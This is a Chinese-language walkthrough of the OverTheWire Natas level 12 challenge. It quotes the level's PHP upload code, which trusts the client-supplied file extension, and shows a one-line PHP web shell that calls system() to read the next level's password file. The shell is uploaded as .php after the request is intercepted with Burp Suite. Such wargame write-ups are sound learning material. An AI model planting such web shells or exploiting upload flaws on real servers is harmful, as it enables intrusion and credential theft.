我们打开lv12,查看信息
登陆
可以看到一个文件上传按钮
我们试一试上传文件
点击“upload file”
报错
重新上传一份
文件最大1KB
那就写个文本,改个格式试一试
<?php
system('cat /etc/natas_webpass/natas13');
?>
使用system函数执行命令
查看源码
?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
大概的思路是这样的
1、从数字和字母中随机组成文件的名字
2、判断文件的大小
3、回显文件的路径
我们打开BP,进行抓包
准备好cat文件
开启拦截
上传文件
修改名称
显示上传成功
访问链接
修改名称
重新来一次
再次修改名称为php
得到密码